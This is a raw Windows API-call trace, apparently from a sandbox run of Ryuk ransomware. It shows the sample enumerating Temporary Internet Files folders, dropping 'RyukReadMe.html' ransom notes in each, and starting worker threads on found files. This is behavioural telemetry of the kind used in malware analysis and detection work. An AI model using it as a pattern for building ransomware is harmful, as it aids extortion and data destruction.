	[0277.802] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f10630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f10630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x47f94, dwReserved0=0x204, dwReserved1=0x0, cFileName="2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat", cAlternateFileName="2CEDBF~1.DAT")) returned 0
	[0277.802] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0277.802] SetLastError (dwErrCode=0x0) 
	[0277.802] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\AntiPhishing\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\antiphishing\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.802] GetLastError () returned 0x3
	[0277.802] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0277.802] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.802] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1
	[0277.802] SetLastError (dwErrCode=0x0) 
	[0277.802] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4
	[0277.803] GetLastError () returned 0xb7
	[0277.803] CloseHandle (hObject=0x6d4) returned 1
	[0277.803] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0277.804] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0277.804] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5137ebf0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x5137ebf0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName="9QH4S0GZ", cAlternateFileName="")) returned 1
	[0277.805] SetLastError (dwErrCode=0x0) 
	[0277.805] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.805] GetLastError () returned 0x3
	[0277.805] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0277.805] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.805] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21e, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0277.805] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0277.805] SetLastError (dwErrCode=0x0) 
	[0277.805] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.805] GetLastError () returned 0x3
	[0277.805] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0277.805] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.805] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x467cf930, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x467cf930, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName="ABV8L7MY", cAlternateFileName="")) returned 1
	[0277.805] SetLastError (dwErrCode=0x0) 
	[0277.806] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.806] GetLastError () returned 0x3
	[0277.806] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0277.806] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.806] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21e, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0277.806] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0277.806] SetLastError (dwErrCode=0x0) 
	[0277.806] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\abv8l7my\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.806] GetLastError () returned 0x3
	[0277.806] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0277.806] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.806] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x204, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0277.806] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x527ba6f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x527ba6f0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName="IKQEEPZR", cAlternateFileName="")) returned 1
	[0277.807] SetLastError (dwErrCode=0x0) 
	[0277.807] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.807] GetLastError () returned 0x3
	[0277.807] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0277.807] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.807] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21e, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0277.807] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0277.807] SetLastError (dwErrCode=0x0) 
	[0277.807] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\ikqeepzr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.807] GetLastError () returned 0x3
	[0277.807] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0277.807] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.807] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x54000, dwReserved0=0x204, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0277.807] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0277.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b0
	[0278.035] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.036] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50fa0830, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x50fa0830, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName="YG1R61Z8", cAlternateFileName="")) returned 1
	[0278.036] SetLastError (dwErrCode=0x0) 
	[0278.036] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.036] GetLastError () returned 0x3
	[0278.036] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0278.036] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.036] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21e, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0278.036] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0278.036] SetLastError (dwErrCode=0x0) 
	[0278.036] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.036] GetLastError () returned 0x3
	[0278.036] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0278.036] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.037] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50fa0830, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x50fa0830, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName="YG1R61Z8", cAlternateFileName="")) returned 0
	[0278.037] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0278.037] SetLastError (dwErrCode=0x0) 
	[0278.037] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.037] GetLastError () returned 0x3
	[0278.037] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0278.037] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.037] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0278.037] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51445650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x51445650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x51445650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="MSIMGSIZ.DAT", cAlternateFileName="")) returned 1
	[0278.037] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0278.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d4
	[0278.040] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.040] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51445650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x51445650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x51445650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="MSIMGSIZ.DAT", cAlternateFileName="")) returned 0
	[0278.041] FindClose (in: hFindFile=0x3efc10 | out: hFindFile=0x3efc10) returned 1
	[0278.041] SetLastError (dwErrCode=0x0) 
	[0278.041] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874
	[0278.041] GetLastError () returned 0xb7
	[0278.041] CloseHandle (hObject=0x874) returned 1
	[0278.041] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 1
	[0278.042] SetLastError (dwErrCode=0x0) 
	[0278.042] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874
	[0278.042] GetLastError () returned 0xb7
	[0278.042] CloseHandle (hObject=0x874) returned 1
	[0278.042] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Virtualized\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efc10
